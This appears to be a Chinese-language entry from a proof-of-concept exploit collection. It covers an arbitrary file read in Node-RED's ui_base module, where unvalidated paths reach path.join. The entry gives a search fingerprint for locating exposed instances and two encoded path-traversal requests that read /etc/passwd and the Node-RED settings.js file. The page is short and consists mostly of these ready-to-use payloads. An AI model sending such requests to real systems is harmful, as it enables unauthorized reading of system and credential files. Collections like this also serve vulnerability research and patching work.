Awesome-POC/Web应用漏洞/Node-RED ui_base 任意文件读取漏洞.md
2023-08-28 15:55:36 +08:00

657 B
Raw Blame History

Node-RED ui_base 任意文件读取漏洞

漏洞描述

Node-RED 在/nodes/ui_base.js中URL与'/ui_base/js/*'匹配然后传递给path.join

缺乏对最终路径的验证会导致路径遍历漏洞可以利用这个漏洞读取服务器上的敏感数据比如settings.js

漏洞影响

Node-RED

网络测绘

title="Node-RED"

漏洞复现

访问页面

验证POC

/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/ui_base/js/..%2f..%2f..%2f..%2fsettings.js